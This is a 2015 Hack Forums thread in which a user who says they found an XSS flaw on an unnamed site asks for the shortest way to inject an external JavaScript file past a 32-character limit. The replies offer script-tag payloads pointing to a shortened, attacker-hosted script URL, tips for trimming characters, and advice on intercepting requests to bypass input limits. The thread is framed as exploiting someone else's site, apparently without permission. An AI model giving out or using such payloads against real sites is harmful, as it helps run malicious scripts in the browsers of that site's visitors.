+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: What's the shortest code I can write to include an external .js into a webpage? (/showthread.php?tid=4957770)
What's the shortest code I can write to include an external .js into a webpage? - Alchemystic - Aug 20, 2015
Basically I found an XSS vulnerability somewhere but the input doesn't allow me to go over 32 characters, what's the shortest code I can use to include a .js in the page? The shorter, the better.
Thanks!
* - Aakash_Choudhary - Aug 21, 2015
Write a js script as external file. Like :->
document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";
then :->
<script src="http://link_of_that_site_where_you_upload_your_script.js </script
Then google :-> short the url and then choose site to short your url
http://link_of_that_site_where_you_upload_your_script.js [<- this will be short url when you choose any site by google
Thanks
* - Sanch - Aug 21, 2015
<script src="shortened_link"> should do the trick
* - Aakash_Choudhary - Aug 21, 2015
(Aug 21, 2015 05:05 AM)Sanch Wrote: <script src="shortened_link"> should do the trick
I already gave an explanation on this man 😝
By the way nice to give a short help
🤝
* - Sanch - Aug 21, 2015
(Aug 21, 2015 05:19 AM)Aakash_Choudhary Wrote: I already gave an explanation on this man 😝
By the way nice to give a short help
🤝
Yes but your code was wrong.
* - SOSA_ - Aug 21, 2015
alert('XSS');
Or just link to an external JS source file
* - Aakash_Choudhary - Aug 21, 2015
(Aug 21, 2015 06:21 AM)Sanch Wrote: Yes but your code was wrong.
Because may be my net problem or may be forum protection i was unable to post full code
* - Sanch - Aug 21, 2015
(Aug 21, 2015 06:51 AM)Aakash_Choudhary Wrote: Because may be my net problem or may be forum protection i was unable to post full code
You posted more then needed not less.
* - Alchemystic - Aug 23, 2015
(Aug 21, 2015 05:03 AM)Aakash_Choudhary Wrote: Write a js script as external file. Like :->
document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";
then :->
<script src="link_of_that_site_where_you_upload_your_script.js </script
Then google :-> short the url and then choose site to short your url
link_of_that_site_where_you_upload_your_script.js [<- this will be short url when you choose any site by google
Thanks
I know how javascript works, but that's a pretty long way of including a script. Also you used </script> which already takes 9 characters and is unnecessary - you can close the tag by having / at the end of the opening one (<script src="whatever"/>) or you can just leave it out which still works and it executes, except that it throws an error when validating the code, but that's the least of your worries when doing something like this.
(Aug 21, 2015 06:30 AM)SOSA_ Wrote: alert('XSS');
Or just link to an external JS source file
Yeah but my question was HOW to link to external JS source file with as little code as possible?
(Aug 21, 2015 05:05 AM)Sanch Wrote: <script src=""> should do the trick
Yeah, I think I'll use this. It's gonna be a tight fit. I just thought there may be some shorthand expression I can use to save some characters in the process.
Anyway thanks to everyone who replied trying to help me!
Cheers!
* - Viktory - Aug 24, 2015
(Aug 23, 2015 10:48 PM)Alchemystic Wrote: snip
Why exactly are you limiting yourself to 32 characters? Is it because the search form or whatever won't take more than that?
You can just intercept the post request and add in as many characters you want, or edit the html for the form to allow more than given chars...
* - Alchemystic - Aug 24, 2015
It's being checked server-side after submitting the form. I'm pretty sure you can't get around that.